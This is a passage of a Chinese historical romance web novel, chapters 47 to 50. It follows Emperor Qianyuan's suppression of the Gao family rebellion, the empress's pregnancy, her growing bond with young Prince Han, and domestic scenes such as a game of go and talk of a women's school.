他为工部尚书,让他看图纸修楼修堤坝修城墙,只要与工事有关,日夜辛劳不会犯丁点错,但论政治权谋站队,次辅大人的确没什么经验,“这可如何是好?” 乾元帝瞧眼老丈人:“此事朕已有安排。” “留两位爱卿只是提前告知,外京事务涉及东海外埠与东南沿海藩属,一旦高家生乱,须得提防那两地趁危而入,与其坐以待毙,不若提前遣派得信之人。” 再有几日便是六部对于百官公务考核的大日子。 仲毓自岭南而来,崔次辅曾居外埠多年,他们二人比旁人更了解乾元帝心中所需。 得令之后,二人肃容退下,乾元帝抖抖衣袖,继续处理政务. 几日后,外京的消息终于到了京城。 恰如乾元帝所料,致仕高老病重难起,高家大公子泣不成声地叩拜陛下,求恩旨想带着明园避暑的安妃娘娘,去见老父亲最后一面。 仲毓说于理不合,“安妃娘娘乃陛下后妃,如何能随意行走?此地到南康,少说八百里路,安妃娘娘的安全如何保障?” 跪着的高大公子一咬牙说安妃不行,臣身为人子,却不能不去送父亲! “君臣父子,先有为陛下效忠的臣心,才有侍郎大人为人子的本分,你既当着户部那么紧要的差事,岂能弃君不顾?” 高大公子眼底发红,瞪着首辅纠缠不休的冷酷面容,气愤得不到陛下准允,当日归家称病请旬了。 消息递到安妃那头,真恍如天劈惊雷。 一向美如娇花的安妃泪如雨下,攥着心腹袖子一个劲儿问:“哥哥要抛弃我了嘛?” 心腹:“娘娘说胡话了,大公子在家养病,等他病好了,一定请旨来拜见娘娘。” 安妃说是吗,惘着两眼派人去家里问消息。 这一问,人没回来,等来了陛下封住处的旨意。 “娘娘的兄长罔顾陛下旨意,私自离京。” 安妃心如死灰,听内监黜妃为贵人的旨意:“贵人,陛下念在侍郎大人是为父亲的孝心不曾降大罪,只派禁军追大人回京。看在您的面子上,侍郎大人不会反抗的。” 但安妃心如明镜,哥哥私逃是打定主意要去外京与父亲汇合共襄大业。自己成了安抚陛下的弃子。 哭了大半夜,天一亮,心腹说娘娘该为自己考虑了。 安妃脱簪素衣,往昨夜宿在皇后娘娘处的陛下跟前一跪,颤抖着音儿说自己要检举父亲兄长谋逆。 今日旬休的汉王正在后殿吃着自己昨夜亲手包好的馄饨,模样不是一致的好看,但皮薄肉大,一口虾肉的,又一口是水芹猪肉的,听见外边哭哭啼啼的声音,动作慢了些。 宫人问殿下怎么了。 汉王摇摇头,刚才听到外边安妃坦白她吩咐宫人使计给他相中的马匹下毒时,有些害怕。 虽然这些天父皇对他还是和从前一样冷淡,甚至会因为他算筹不好,几次暴躁,但一想到那日自己被父皇结实有力的臂膀抱在怀里,害怕就突然没了。 但是害怕没了,另一种忧虑渐渐浮现。 小小的他耳朵很灵,今晨来给母后请安时,他偷听到万姑姑和阿屏宫人说悄悄话,要请太医给皇后娘娘请脉。 “娘娘保准是有孕了!” 当时万姑姑激动的话语回荡在脑海中,汉王担心母后有了自己孩子就不会像过去这十几天对自己这么好了。 要是皇后娘娘没有孩子就好了。 汉王心说。 第47章 江山社稷,祖宗在上,朕…… 晨起时崔雪朝特意往昨夜睡过的床褥处看了几眼, 确认不曾来月信,存了个心眼。 万姑姑和阿屏对皇后小日子盯得很紧,照着往常的日子观察着, 掐指一算, 都过去三天了想来很有谱。 主仆三个彼此眼神会意,崔雪朝未免日子不够长久众人白高兴, 暂时没惊动旁人。 不过很有可能的猜测让她自晨起便笑意盈盈。 对于昨夜求欢被拒,枕头另一侧的主人公心存不满。 不满持续了不太久,深夜的一场缠绵雨水,皇后习惯性贴近自己怀中的举动, 安抚功效奇佳。 他的好脾性专属于某一个人。 听闻安妃脱簪素衣跪在外边, 脸上松缓的笑意瞬间淡去。 汉王跟宫人退到后殿, 起先听不真切,后来万姑姑进来领着他换了个地方, 汉王才知晓自己惊马一事原来是有人给自己看中的黑马下了毒药! 他傻坐了会儿。 等外边安静下来,皇后娘娘坐在他身边, 汉王软糯的童音问皇后:“父皇又要出征打仗了吗?” 他的眼睛黑白分明, 于是那份对于父亲上战场的恐惧一览无余,崔雪朝把他揽到怀中, 说你父皇早有准备, “他是大乾的根本, 不到万不得已,不会让陛下上战场冒险的。” 汉王哦了声,小小的手指抠着自己袖口上的金线:“那我往后还能让母后养吗?” 他巴巴地睁大眼睛:“母后放心,我会克制住我的顽皮,不会惹您生气的!” 崔雪朝抚抚他柔软的发顶,说汉王并不顽皮, “在民间,如你这般大的小公子,正该活泼好动才能身躯康健。再说了,除了你父皇辅导你功课时有些心急,母后可曾对你发过脾气?” 倒不是她溺爱没原则,实在是汉王是个很好养活的孩子,不哭不闹,让吃什么做什么,绝对没有反驳,贪玩是孩子本性,但汉王的贪玩不过是把一盏茶的散步放纵到两盏茶。 汉王睁着琉璃般的眼睛,摇摇头。 崔雪朝能感觉到汉王对她生出一点依赖。 两人会在幽静时对坐廊下,看着雨珠垂落,静养居心。 本以为汉王没耐心,但出乎她意料,汉王静听雨落的幽性让人惊喜。他是个很玲珑剔透的小人,有些孩子天生内敛,这不应该成为他被挑剔的原因。 那日汉王忐忑地说需不需要为静听雨声后写一篇心得,崔雪朝说不必。一切意会只在心里就好。 也就是那日之后,她感觉到汉王对自己不再警惕。 按照孩子的话来说,她被划进了汉王的阵营中了。 汉王靠到皇后柔软的怀中,不曾发觉一侧万姑姑和阿屏警惕的视线,以及皇后娘娘阻拦她们上前的眼神。 他扭了扭,小巴掌慢慢贴在皇后腰带上,眼神留恋不舍:“母后要有自己的孩子了吗?” 崔雪朝还没反应过来,突然一道高大的身影自屏风后闪出来,母子两个吓了一跳,齐齐睁大眼睛看着这个‘不速之客’! 乾元帝绷着线条锋利的下颌,单手把汉王拎走,另一只手臂不忘揽住汉王的腿免得他没轻重蹬了皇后。 “去传太医。” 一声令下,童公公急忙去办。 “你先把汉王放下,别吓着他了。”崔雪朝刚起一半又被他强制性按坐回去,见他板着脸:“坐着别动。” 乾元帝看一眼皇后,再看看怀里的汉王,“你被朕吓着了?” 汉王眨巴眼睛,小屁股能感受到父亲的胳膊很硬,但心砰砰的,在父亲的眼神下,鼓鼓脸颊:“我不怕!” “朕抱你,你欢喜吗?” 汉王:“儿臣喜欢父皇抱。” 乾元帝给皇后一个‘你多虑了吧’的眼神,就这般架着儿子在殿内空地上绕了两圈,边走边同皇后解释:“佛家好似有个说法,大人肉体凡胎沾染红尘,眼睛没有小孩子的干净,有时候小孩子能看到些不寻常。” “太医来还得一阵,也不急在这一时,今日不是大朝会嘛,陛下先去前朝吧。” 他戴君王冕冠,黄袍尊贵又威仪,立在这方殿内,不合礼仪。 乾元帝哪管旁的,吩咐人去前朝传话,今日大朝会延迟两刻钟,消息传至外朝,自然引得大臣们不太满意。 大儒出身的仲首辅说陛下太过任性,皇后有孕就能弃江山社稷在后?来日诞下子嗣,岂不是越发嚣张? 崔次辅从太监的话语中听出隐意,斜眼这位顶头上司,“皇后康健关系我大乾国祚,你这老货真没眼色!” 被回护亲女的下属顶个气仰,仲首辅愕在当地好半晌没说话,看得内监心里舒坦。 谁人不知陛下期盼皇后早日有孕,这可是关系陛下雄风与体面的核心! 太医局当值的两位并几个医女很快到了。 几人轮番诊脉,起初从他们冷静的面容上看不出什么,后来从医正眼角觑起的皱褶里辨出端倪,乾元帝激动地呼啦从长榻上站起。 高高的个头落在皇后娘娘脸上有一重喜悦的影子,很想仰天大笑,又怕吓着她和她肚里的孩子,只好快步出了院中,寻到一处廊庑僻静处,左右看看,恰好胖黄和它母亲躺在一块睡大觉呢。 迷蒙的黑白大猫警惕地望向来人,乾元帝露出得意的笑。 “你以为就你能生?呵呵!”朕也能生! 后宫传喜,朝堂政事亦顺合皇帝心意。 安妃安贵人的投诚恰到好处。 大朝会上,凡与高家牵扯上的,俱寂静不语,甚至喘气的声儿都不敢太大,生怕御座之上的目光投注到自己身上。 譬如帝后大婚之夜那不长眼的规矩嬷嬷,汉王苑场惊马一事,在高家父子谋逆造反前,显得无足轻重。 前朝清算高氏附庸如何震荡,不必多打听,高家累两朝门阀,牵一发而动全身,望京人家只觉风声鹤唳草木皆兵,连一贯热闹的春花秋月都闭门不做生意了。 因高家投诚开城门之义举,当年多少门第不曾遭新皇清算。 如今高氏倒山,磨刀霍霍,京兆尹忙得焦头烂额,大狱更是迎来前所未有的堵塞期。 那铡刀是一点点往下落的,有些人家免不得想求宽恕,便寻门路求到坤宁宫皇后这里。 崔梅越:“当初父亲不叫三房的人焦急给丛哥儿定亲,他们偏不听,非说跟高家的闺女定了亲,能在科举上帮衬。结果丛哥儿自己没考上,现在又急着想划清界限。父亲说崔氏子弟自有风骨,既定了亲,就该履行婚约。” 他也很难为情,只是昔年沾过三房的恩情,人家求到名下,只好今日请安时提上一嘴:“三房的意思是,想问问娘娘,丛哥儿和那高家远亲的婚约,会不会不妥?” 明面上是问崔家三房的婚约,实则是想打听高家那远亲的处置,试探一番陛下对于高家的态度。 “五服之内,便是拼着三房落个不仁义的难听名声,也要尽快斩断联系。” 闻言,崔梅越心里有数。 又道:“娘娘,过两天臣弟要去南部了。” 崔雪朝想想:“父亲帮你寻了门路?” 崔梅越点点头,“三年一次闱考,许是我性情急躁,实在坐不住去读书。父亲帮我在兵部谋了个九品的流吏,虽在外埠,远是远了些,但我想阿姐当年与父亲母亲南下时也才十六,如今我都十九了,还有官府文书,想来并非难事。” 崔雪朝免不得提到些外埠生活的要点,两人说了半晌,崔梅越见她面露疲倦,及时起身告别:“三年后回来,外甥应该会喊人了,阿姐莫忘了教他‘舅舅’。” 崔雪朝笑着点头,目送他隽秀的背影消失在殿外。 片刻后,另一道小小的身影出现在门槛处。 汉王进殿先擦拭一番,换过洁净的衣衫才问母后呢。 阿屏指了指后殿寝居:“娘娘说困了,这会儿正歇着呢。殿下先写会儿功课吗?” 汉王点点头,又问:“母后今日吐了吗?父皇今日来看过母后了吗?午膳给母后吃什么?” 汉王板着与陛下七成像的冷脸蛋,问这问那,阿屏并不因他是个小娃就随意敷衍,依样仔细回答了他,而后端着一小盘甜瓜送到汉王写字的案头:“这是娘娘吩咐给您预备的,不过殿下在长牙,太冰太甜都不好,最多只能吃五块。” 汉王眼睛一亮,吃着甜滋滋的瓜,认认真真地完成文先生留下的功课。 画龙()()——汉王写:画龙点睛 伴读杨戎之父身高七()——汉王想想:寸 功课完成,本该先由皇后娘娘检查过后再交给文先生,但皇后娘娘初初有孕,精力不足,昨日陛下主动揽下为汉王预查功课正误的差事。 功课托在红盘上,在汉王只担忧了一盏茶的目光下被内监送到乾元帝手中。 高家大公子在通衢一带被禁军追上,拒不接旨被斩杀当地。南康城致仕的高老闻此消息,大恸之下一口老血吐出,竟是真的昏迷快要西去了。 高老临昏迷前写下一篇感天动地的告罪陈书,将一切罪责揽于一身,只求陛下看在高家当年有功的份上,高抬贵手。 柱国公恨道:“高贼一篇告罪陈书,江淮地界打了三天,死了好几千官兵。陛下,绝对不能与南部叛兵和解!” 主战与议和派吵得沸反盈天,陛下一字不语,只让众人退下单独留下柱国公。 乾元帝忙了一上晌,接过汉王功课打算放松放松。 半晌后,紧绷的精神不紧绷了,乾元帝支颐在桌,把汉王的功课递给他只有七寸的外祖,柱国公杨镌。 柱国公从兵部来,还沉浸在方才与几位主和派争执的愤怒之中,接过陛下递来的白卷前还以为又是锦职司传回来的密信,定睛一看,真是还不如不看! “老臣惭愧。” “国公惭愧,朕这个亲生父亲更是惭愧了。” 杨镌想想家中杨戎不肯读书写字与他斗鸡眼的场景,明白陛下这是在敲打自己。 “皇后娘娘用心良苦,老臣惭愧。” 汉王惊马之后,皇后将汉王从贤贵妃手中生抢过去,柱国公仿佛已经瞧见汉王不日命丧,借着各类名头发挥过几次。 前几日中宫有喜的消息传出,陛下颁下不少恩旨,柱国公便又耸动贤贵妃把汉王接到身边养着。 看今日这情形,怕是不成,但柱国公还想为汉王争一争:“皇后娘娘有孕是我大乾之喜,万事皆要以皇后养胎为重,汉王正是顽劣之年,臣觉得还是交由贤贵妃抚养为好。” 不好驳了面子,乾元帝说让汉王自己定吧。 柱国公告退之后,皇帝内库使促步进来回话,喜气盈天道:“陛下,西郊的东西全都入库了,烦请您过目。” 厚厚的册本一垒竟有二十来本,乾元帝随手拿了最上面的一个,朱玉玲珑琳琅满目,金银夹在其中显得那般不上台面。 “传闻朕当年入望京时,高家先把末帝的宝库腾过,后来落到朕手里的,不过十之一二。看来所言非虚。” 粗略一看,样样都很适合送给皇后做为嘉奖! “皇后今日做了什么?” 童公公说崔家公子进宫给皇后请安,顺带提了一嘴崔公子补官去外埠的事情。 想起柱国公几番对于汉王的执念,再对比皇后母族的克制,乾元帝想想,让人把今日从高家宝库查抄的东西分一半送到皇后那儿,“午膳传贤贵妃来。” 第48章 居功至伟 贤贵妃奉召而来, 临行前,格外打扮了一番。 瞧着铜镜中自己秀美的容颜,扯个笑容, 比哭还难看, 贴身宫人说娘娘不笑最好看了。 她很勉强,随她入宫的杨家宫人也知道她的勉强, 叮嘱道:“姑娘且忍忍,只要御幸过,往后在宫里的日子就有了指望。” 贤贵妃没应声,跟着内监走到陛下跟前, 恭敬地跪下请安。 乾元帝没叫她起, 给童公公一个眼神, 童公公便领着一众伺候的避到殿外,确认没人能听到里边主子们说话, 柄着拂尘老神在在地站起岗。 “幼安,你想养汉王吗?” 幼安是贤贵妃的乳名, 初听时, 贤贵妃有些恍惚,眼前闪现的另一个男子通透清澈的眼眸, 而非冰冷的地砖。 她不知道乾元帝为何唤自己乳名, 按照他们的亲疏, 其实这种叫法让她很不自在,不像后妃,像乾元帝的某个小辈。 转而一想,他本就她的姐夫。 “回陛下,汉王是长姐的血脉,嫔妾愿意抚养汉王长大。” 殿內安静一瞬, 这份静默让贤贵妃心里咚咚,思绪转了一圈,又道:“皇后娘娘有孕会诞下大乾嫡子,汉王正是顽皮的年纪,不该留在娘娘身边。陛下放心,从前是嫔妾太过严苛以致于汉王对嫔妾有误解,嫔妾往后会对汉王” “你对汉王的执念,是国公府的期望,还是你真心喜欢汉王?”乾元帝顿了下,语气冰冷彻骨:“亦或是因为你进宫前失去过一个孩子的缘故?” 话音刚落,贤贵妃愕然仰头,触及到乾元帝自上而下剔视的眼神,阴鸷可怕,反应过来自己竟敢直视天颜,瞬间伏跪,“求陛下恕罪!” 心里却颤栗万千:知道了!陛下知道自己在陇右的事情了! “朕有山海胸襟,对汉王生母亦有几分愧疚,但这并不代表你和杨家可以肆意践踏朕的脸面。” 贤贵妃吓得抽泣,却不敢辩解一字。 “汉王与她母亲不同,杨家所奉行的严苛儒道不必套进他的骨血,有朕和皇后在,不会折损你长姐的养育之恩。明白了吗?” 贤贵妃噤噤点头。 “去用膳吧。” 不多久,殿外的宫人如水般蔓延进来,贤贵妃被两个宫人一左一右扶到食案前,吃了什么完全没有印象,只知道陛下未曾留下用膳时悄悄松口气,一刻钟过去,从殿內出来,日头晒在身上,没有一丝暖意。 回到住处,不及进屋,扶着院里的荷塘栏杆哇啦地大吐一通。 方才吃过的东西全都倒出去,憋在胸口的那股恶心慢慢舒畅,也不准宫人传御医,头昏脑胀地偎在床上,前后缠绵病了十好几日才有力气下地。 崔雪朝吩咐太医好生照料贵妃的身体,逢旁人打听,只说是贤贵妃那日吃坏了肠胃。 内情她听乾元帝说过,贤贵妃自小定亲的竹马与她情谊深厚,可惜命薄,娘胎留下的心疾发作,才十九便没了。 贤贵妃本想顶着未亡人的身份给那定亲的男人守一辈子,可惜杨家不同意,送到宫中,乾元帝说只当替杨氏养着妹子。 至于汉王,虽然年纪小,但不能罔顾孩子的意愿,起居还在皇子教养所,不过吃喝做功课,虽然父皇不乐意,但皇后娘娘准许他常出入。 于是前朝的父皇忙哉,后宫皇后养着汉王,一过到了八月底,天气转凉,该商议回京了。 乾元帝蹙眉:“你胎没坐稳三个月,若不然留在明园,等三个月稳健了再另行回宫?” 说这话时,眼睛盯着在窗下正在教汉王棋艺的皇后,实则心里紧绷。 崔雪朝随意落下一子,“都行。朝堂要紧,陛下先回宫,臣妾和汉王十月秋高气爽再回去,也行的。” 说完,声线温和地给汉王解释此刻摆在棋盘上的黑白子的某种争斗态势。 乾元帝:“” 话是他提出的,但她连犹豫都不曾就点头,难免气郁。 她今日穿了一身淡青妆花纱,清雅之中透着妩媚,肚腹尚未鼓出弧度却已经延展出几分母性的圣光。 他们二人的婚姻与江山社稷密不可分,孩子的到来被朝臣恭贺期盼,明明有了汉王,但他生出初为人父的喜悦。 只是一个月过去,那份喜悦渐渐有了隐患。 皇后一心扑在汉王和养胎的忙碌中,他这个居功甚伟的出力者似乎突然没了效用便没了地位。 昨夜睡在床上,怀里空荡荡的,睡前皇后说未免他睡觉途中不规矩,所以两人之间塞了一个软枕。 软枕头成了大山,山的那头是从前轻而易举获得的柔软馨香爱情。 山的这头,是被采阳之后弃之不用的自己。 英明神武的皇帝似乎被皇后做局了! 上灯了,郁结的陛下坐在榻上,等皇后目送汉王离开,轻轻咳下嗓子:“从前竟不知道你还会棋艺。” 崔雪朝眉眼间露出点得意,见他正盯着棋盘看,从容坐在他对面,“安寝前还有些时候,不然你我对手一局?” 袁望也颇为自负:“可有彩头?” 崔雪朝想想:“若陛下赢了,臣妾吃些车马苦头,陪着您一块回宫?” 输赢先不论,光是这句话就足够一解陛下心头的委屈。 黑白子也不分捡了,眼神殷殷的,几欲落泪的感觉:“原来你知道?” 情意懵懂时似乎总喜欢黏着心上人,本以为上了年岁谈涉情爱,会冷静自持会克制再三。 但自己拥有的不仅仅是一个帝王的独宠,还有一份来自于丈夫珍爱如宝的对待。 他会把自己放置于一切考虑之前,所以一下晌的寡言自然让她有所关注。 崔雪朝同他浅浅一笑,开山先放一子,“陛下可得上心些,若是陛下输了,臣妾会觉得是您故意为之。您孤身归京之后,深夜寂寞难耐,免不得把魔爪伸向后宫佳丽。” 陛下的手指生得隽秀修长,掌心会有薄茧,每每摩挲在皇后光洁的背上,会引发一连串瑟缩湿润的反应。 皇后斜眼因为自己话语而棋风谨慎的陛下。 或许她对他从一开始就有独占不放的心意。 第49章 你还有多少惊喜是我不知…… 结果不如人意。 袁望盯着棋盘久久没有动作, 他的神情尚有几分惊色,似乎不太能接受自己输了五子的半局。 崔雪朝去了趟恭房,再坐下时, 就见他目光灼灼地一直看着自己。 她笑了笑, “怎么?陛下是输不起?” 袁望说不是,手里盘抚着黑子。 此刻是煌煌灯亮, 茭白纱的窗外满月皎白,她浅笑着,面容柔和如春阳波水。 就在片刻前,她一子一子围杀黑棋, 在他以为一切成定局的前一刻, 翻盘覆水, 吃掉他的黑子时,他不经意抬眸。 她的眉眼沉笃颊色清凛, 还有收割时她眼中笃然的峥嵘。 那是从前他未见过的一面。 心头悄悄,久久未能回神。 “听人说, 过去你曾与好友在望京郊外博川山开过女学。前半局是我小瞧了女师的功力。之后你可得小心些。” 袁望故作调侃地开口道。 崔雪朝道一声好说好说。 他是从武之人, 棋风如人走刚猛长驱直入的路子,一子落, 其后十子意图昭然。 但自己的棋是从三岁起就跟着崔家老太爷学的, 老太爷活着时曾为帝师, 她得老太爷细心调教。 黑白子的厮杀世界,教会她很多为人的道理,太年轻时下棋是为一时意气,后来锋芒尽数收敛,步步为营,奉行不战而屈人之兵的策略。 后半局临近尾声, 她不着痕迹地瞥眼对面,苦思之人凝眉如峰,她压抑住心底的笑意,促狭地落下一子。下一瞬果然见他盘棋的手指顿了下,赶在他看过来时,崔雪朝匆匆垂眸盯着棋盘,作出很认真的神情。 她以为自己的让步不露声色,最后输掉棋局时难免得不忿些。 “哎呦,是我失手了。” 袁望不语,一味地配合她,露出胜利的笑容。 “皇后输了,看来得辛苦皇后几日后同朕一块回京城了。” “好吧好吧,臣妾去寻万姑姑和阿屏,早以为不回去,连行装都吩咐她们不急着打点呢。” 她碎碎念着漫步绕到另一边存放衣物等的厢房,隔着并不太远的距离,听到她吩咐宫人先不急着给孩子做小衣服,语气嗔娇地说陛下想一出是一出,玉驾得随行一并回宫了。 这种不发自内心的控诉,以袁望视角来听,她害羞别扭,不肯直接表述不愿意跟他分离的想法,借自己名义罢了。 一瞬间他回忆起当时辜家大公子劝她去海外时,当时那坏心眼的东西说自己看不懂、也不愿意费心去了解皇后的小女儿心态。 一派胡言! 可惜姓辜的死了,不能亲眼见证自己与皇后是如何地般配! 但他心里还记挂着另外一件事儿。 夜上试穿皇后百忙之中给他缝制的袍衫,一边问:“你在女学时担任哪门课的老师?” 崔雪朝手指打个转,示意他转一圈,袁望转了,把后背露给她看,听她嘀咕了句是不是大了,“怎么突然有兴致问这个?” “就是随口聊聊。”袁望:“从前只知道你有过‘玉京才仪’的名号,以为是旁人吹嘘出来的,便没放在心上。今儿你露了一手” 说到此处,他的眼里折出灯烛的明辉色,显露出沉迷的感觉,“你还有多少惊喜是我不知道的!” “哪有什么惊喜?” 崔雪朝让他解下袍衫,正要叠,被他抢去叠了收到旁边的檀木高衣柜中,看他很娴熟地放到属于他那边的位置,踢了软缎鞋就要上床。 “怪我没生在望京。若袁家争气些,早日混到京都,门阀交际起来我总有良机一睹皇后昔年的风采。千军万马砍杀过来,又有什么用处,皇后决意金盆洗手,我又能如何?” 崔雪朝见他如此上纲上线,先失笑一声,耸着鼻子作势嗅了嗅,说好酸呀,是谁的醋瓶子倒了,也不说扶一扶? 换来好一顿揉搓,城门失火,险些被剥光了殃及池鱼。 气喘吁吁地搂在一块倚靠在床栏上,崔雪朝翻着他修长的手指,慢悠悠地说起旧年开女学的缘故。 “末帝做了十五年的太子,天子久病,朝政全由太后掌控,那时民间风气甚开,地方官署有专设的女子官职” 在她轻柔的话语中,一段女子可为官的历史娓娓展开。 太后当政,赋女子权,宫闱之内有女官制,公署之下渐渐也有女子正大光明发声之地。 譬如旧朝曾有这样一条法度,女子通间若为丈夫发现,不必官府禀查可直接处置。就有不少丈夫为谋夺妻子嫁妆或是旁的不为人知的阴谋,买通外男构陷妻子进而‘名正言顺’地杀妻。 地方署官明知另有隐情,却为地方治安政绩不去查冤,任由女子枉死。然有女子身任署官小职,便有复查职权,可绕过上署直禀大理寺。”我与友人开办女学,便是想给那些谋差事的女子一个地方,那里能教授她们办差的本领,诸如核查账册,诸如入乐府赚取养家糊口的铜板,诸如学写字,代写书信赚点家用。” 其实她们没想作出什么惊天动地的事业,只不过是顺当年太后的政风而行。 “博川是辜家私产,辜家二姑娘是个很侠义心肠的人,起初是她提议要开女学,我们一伙/交好的姑娘们随了些散钱权当玩了。” “开办女学半年后,第一批学完功课的只有三个山脚下农庄家的姑娘,其中有一个年后兴致勃勃地冲到山上,说自己考上户部的一个外缺呢!” 提起那个争气的姑娘,崔雪朝一下翻身坐起,“你不知道我们当时有多高兴!”至今回忆起来,心潮澎湃,有种无意拨动琴弦却改变某个人一生命运的成就感! “可惜我只教一门棋。” 她很嗟叹,棋并非一日之功,见过用算盘当差的,没听过有人举着黑白子给上官办事。 絮叨着细节,倦意泛起,袁望许久不闻她声音,以为她在伤感,一垂眸,才发现她趴在自己胸口已经睡沉了。 第50章 贵妃娘娘也挨了嘴巴子?…… 几日后就要回宫了, 汉王很舍不得明园。 明园景致如画,紧要的是住在这里的两个月是他有记忆后过得最轻松最自在的一段时光。 宫人照着汉王吩咐收拾东西,锻炼小儿敏锐的九锁连环、白玉质的攻城推拼、琉璃笼子碧绿蝈蝈等等, “别忘了把马苑的小驹, 兽园的灰云团儿也带上。” 宫人应是,提起装满衣服的箱笼边往外走, 边道:“殿下又长高了,皇后娘娘说这些衣裳您穿着小了,让小人们收拾起来,回宫后针线局会送新的秋装。” 汉王早已过了得到新衣裳就欢喜的年纪, 他耳朵里捕捉到的关键是‘皇后娘娘’, 母后有了自己的孩子后并没有把他忘记, 这件事儿比新衣裳更让他欢喜。 但昨天下晌在母后那里踢完蹴鞠,出门时遇到父皇, 父皇见他呲个牙笑,趁着母后不注意, 偷偷教训他说门牙都没全, 别总是笑,看着很蠢。 汉王想起文先生给他讲述的典故, 现在的自己便如那吴下阿蒙, 早已今非昔比, 再不会因为父皇一蹙眉就以为父皇对自己厌弃,以为父皇对他不喜。 诚如母后所言,父皇不蹙眉就无法震慑前朝的臣子们信服。 大约父皇是觉得自己露个牙在外面,会无法震慑身边伺候的宫人和内监吧。 但他还是很敬重父皇的,即便父皇教训完自己,转头就笑得灿烂地看向母后。 所以汉王的欢喜装在眼睛里, 这就让这段时间看他像变了个人的伴读杨戎很不习惯。 杨戎斜眼走远去喝茶的武先生,诤的一声放飞自己手中的箭,现如今的他已经开始用一旦的弓,一箭射出,虽不在靶心,但也上了靶,得意地望望另外两个竞争者。 周韬见之,很是不服地换了同样的弓,结果显而易见,第一次用超过他力量的重弓,撅得小脸通红才勉强拉开一点。 董文礼视若无睹,还是用从前的弓,几箭下来,计数结果已经及格,比上次的成绩要好,他心里满意,跟身侧看着自己的汉王笑了笑:“让殿下见笑了。” “不笑不笑。” 汉王没脾气地摆摆手,因为董文礼是文官家的孩子,将来应该也是个文官,董文礼在,他就不至于回回垫底。 杨戎嫌汉王这个表弟太好脾气,“伴读是殿下的体面,伴读要是平平,会惹来笑话的。董文礼,你箭术太差了,真丢脸!” 董文礼小小年纪很稳重地顶回去:“你的文课是我们三人中最差的,昨日算筹课,你算井口深浅还要借宫人的手指才能算清楚,你都不觉得丢脸,今日我也不会丢脸。” 说完又跟汉王露出笑:“殿下莫要因为杨戎的话而自卑,学武是经年累月的事情,咱们还小,筋骨柔软,慢慢就厉害了。” 其实算筹也不算太出色的汉王有些惭愧,昨日井深浅他倒是没有借用宫人的手指但也废一盏茶才得出结果。 见几个小萝卜头扎堆开始说闲话,武师傅拧眉虎步过来,加训了半个时辰,等放课时,几人全都倦得没有力气再争论丢脸不丢脸的问题。 后日就要归京了,伴读今晚不必留在明园,可以乳燕投林各找各妈。 杨戎刻意走慢几步,把昨晚父亲的话转述给汉王:“贵妃娘娘是殿下的亲姨母,端蕙妃去了,宫里只有贵妃娘娘殿下最亲近。娘娘犯错惹了陛下忌讳,整日魂不守舍,隔三差五就病一场。殿下若还在意杨家,等回了京寻机求陛下去看看贵妃吧。” 汉王眨眨眼,“贵妃怎么惹了父皇的忌讳?” 杨戎哪里知道,只听见母亲在家哭得伤心,偏怪父亲迷了心窍,平白祸害贵妃娘娘。 “我也不清楚,好像是贵妃娘娘和陛下用膳时吧唧嘴了?” 他听宫人说贵妃被陛下请去用膳,结果饭吃完了,人就缠绵病榻。 吃个饭能犯什么错,贵妃应该不会像自己一样狼吞虎咽,那就只能是吧唧嘴了。 想起自己吧唧嘴被父亲一筷子抽脸的痛感,杨戎摸摸自己的嘴唇,“大约贵妃娘娘也挨了嘴巴子。” 吃饭吧唧嘴? 汉王下意识舔舔自己的门牙,自从换牙后,他说话漏风,吃饭时就怕飞饭菜叶子。 看来以后跟父皇一起吃饭得声音低点,不然容易挨嘴巴子吃。 汉王记下这个要点,对杨戎说:“贵妃姨母生病,父皇又不是太医,去了也没用。等会儿我跟母后说下,让她多给贵妃娘娘派点好大夫!” 杨戎一听,似乎很有道理,于是拱手:“多谢殿下,待我回了父亲,必定对汉王感激不尽。” 彼此分别,皆无负担。 抄手游廊曲折,过三五段,突然天阴了,等走到太云阁前,淅淅沥沥竟然报了一场早秋雨。 汉王伸手接了廊柱垂落的雨滴,舔了一口。 伺候宫人:“殿下!雨水多不干净,您好端端的舔那个做什么!” 汉王由她擦拭了手心的湿润,一抬眼,见阁前两盏宫灯,皇后娘娘站在门檐下,正望着自己的方向。 他小跑几步,“母后!” 崔雪朝嗯了声,“今日武师傅又加训了?” 汉王说是,“武师傅说我们几个偷懒说闲话,加训了半个时辰绊跤。” “有没有受伤?” 汉王摇头,仰着头说:“今日抽到了董文礼,他不敢用大力,让了我很多。” 一大一小沿着廊桥往正堂走着,快到了,耳畔传来一道威严的嗓音,“这么点路,难不成还能走迷了路?太惯着孩子,并非好事。” 汉王听出是父皇的声音,下意识要往皇后身后躲开,不过很快意识到现在的自己不必太过畏惧父亲。 “正好在院子里散步,接他一程又不是什么大事。” 崔雪朝拍拍汉王的小脑袋,示意他去给端坐的陛下请安。 汉王乖乖磕头,“给父皇请安。” “起吧。今日又犯错了?” 第一句话就得了皇后轻飘飘的一个侧目,袁望只好继续:“朕都是为了你好。” 汉王:“儿臣明白。” 崔雪朝:“” 预感这种故作父亲姿态的事情要延续到自己孩子降临,他有他的道理,难以纠改,于是示意万姑姑传膳吧。 因有小雨,小厨房临时加了一道铜锅子。 红红的炭塞进铜底,不是深冬的浓白羊汤,只一小圈清水,里边放些温补的药材,涮些干丝和茼蒿菜。 父子两个是北地口,用浓浓的酱蘸着吃。 崔雪朝喜欢上回董贵人吃清水鱼调制的那种酸汁。 饭桌上没有宫人布菜,宽敞的厅间一方桌,窗外霖霖,至尊之处却有小民之家的温馨,当家做主的也不自恃身份,夹了一大块炖的酥烂的鸡给汉王:“吃吧,没牙,你也啃不动旁的。” 汉王用腮帮子很快吃掉,未免夜食太撑睡不着,吃了八分饱就停箸。 “外头雨水,行路不便,今晚就宿在太云阁吧,反正明日书房不开。”崔雪朝道。 汉王忍不住看向自己的父皇。 乾元帝微眯下眼:“看朕做什么?吃太多哑巴了?” 汉王说不是,笑着跟皇后娘娘点点头。 他是很欢喜能住在太云阁的。 住了第一晚,就算是破了先例。 翌日书房不开课,自然不必再回住处。 白日里皇后娘娘处理公务,汉王想起昨晚应承下的差事,跟皇后提了,皇后答应会为贵妃娘娘请太医局最好的大夫,汉王放心地去阁中假山处荡秋千了。 而明园另一处的贵妃见万姑姑领着太医进门,病弱之际又困惑皇后身边大宫人来做什么。 万姑姑说明日就要回宫,汉王殿下记挂您的身体,今儿特意求了皇后娘娘的旨意另派了太医来。 贵妃敷衍到人走了,立时软倒在枕上。 苦生生的药汁跟她的人生是一个味道,活着实在没意思,那汉王也是个没良心指望不上的,光会嘴皮功夫,从来没见他到自己跟前来伺疾。 平白无故的,做什么在皇后跟前求情? 